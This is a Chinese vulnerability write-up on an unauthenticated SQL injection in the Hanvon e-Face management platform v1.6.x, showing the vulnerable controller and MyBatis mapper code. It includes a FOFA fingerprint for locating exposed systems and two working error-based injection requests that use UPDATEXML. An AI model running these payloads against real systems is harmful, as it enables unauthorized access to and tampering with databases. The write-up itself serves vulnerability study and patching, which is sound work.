漏洞简介

汉王e脸通综合管理平台的 PermissionPersonController 接口多个方法存在 SQL注入漏洞。攻击者可在无需认证的情况下，通过构造恶意请求参数注入恶意 SQL 语句，导致数据库信息泄露、数据篡改甚至系统权限提升，影响系统数据安全和完整性。

影响版本

v1.6.x

fofa语法

icon_hash="1380907357"

漏洞分析

queryDoorsByUserId

直接看 PermissionPersonController 里关于 queryDoorsByUserId 的实现

@RequestMapping(
        value = {"queryDoorsByUserId.do"},
        method = {RequestMethod.GET}
    )
    @ResponseBody
    public RequestJson queryDoorsByUserId(@RequestParam(required = false) Integer page, @RequestParam(required = false) Integer pageSize, @RequestParam(required = false) Integer employeeId, @RequestParam(required = false) String doorName, @RequestParam(required = false) String order, @RequestParam(required = false) String columnKey) {
        RequestJson result = new RequestJson();
        ControlInfoParam record = new ControlInfoParam();

        try {
            if (page == null) {
                page = Constants.DEFAULT_START_PAGE_INDEX;
            }

            if (pageSize == null) {
                pageSize = Constants.PAGE_SIZE;
            }

            record.setColumnKey(columnKey);
            record.setOrder(order);
            record.setEmployeeId(employeeId == null ? 0 : employeeId);
            record.setDoorName(doorName);
            PageHelper.startPage(page, pageSize);
            List<DoorInfoVO> doorInfoVOS = this.accessPermissionService.queryDoorsByUserId(record);
            PageInfo<DoorInfoVO> info = new PageInfo(doorInfoVOS);

和 汉王e脸通综合管理平台 queryDoorInfoList.do SQL注入漏洞 处理逻辑差不多，直接看对应的 mapper xml文件 AccessPermissionInfoDao.xml

<select id="queryDoorsByUserId" resultType="com.hanvon.iface.tpm.access.DoorInfoVO">
        SELECT adi.id id,adi.name name,d.sz_name controlName
        FROM `access_door_info` adi
        INNER JOIN  `dev_device` d ON d.ng_id = adi.DEVICE_CONTROL_ID
        INNER JOIN `access_permission_door` apd ON apd.`DOOR_ID` = adi.id
        INNER JOIN `access_permission_employee` ape ON ape.`PERMISSION_ID` = apd.`PERMISSION_ID`
        WHERE 1=1
        <if test="record.employeeId!=null">
            AND ape.EMPLOYEE_ID = #{record.employeeId}
        </if>
        <if test="record.doorName!=null">
            AND adi.NAME LIKE CONCAT('%',#{record.doorName}, '%')
        </if>
        GROUP BY adi.id
        <if test="record.order != null and record.order != '' and record.columnKey!=null">
        ORDER BY ${record.columnKey} ${record.order}
        </if>
    </select>

用户可控的 columnKey 和 order 参数未经任何过滤直接拼接到 SQL 语句的 ORDER BY 子句中，导致攻击者可构造恶意输入执行任意 SQL 命令，造成SQL注入漏洞。

queryUsersByDoorId

漏洞复现

queryDoorsByUserId

GET /manage/accessPermissionPerson/queryDoorsByUserId.do?recoToken=67mds2pxXQb&page=1&pageSize=10&columnKey=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357))&order=DESC HTTP/1.1
Host: hanvon.mrxn.net

利用报错注入获取数据版本号

queryUsersByDoorId

GET /manage/accessPermissionPerson/queryUsersByDoorId.do?recoToken=67mds2pxXQb&page=1&pageSize=10&columnKey=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357))&order=DESC HTTP/1.1
Host: hanvon.mrxn.net

利用报错注入获取数据版本号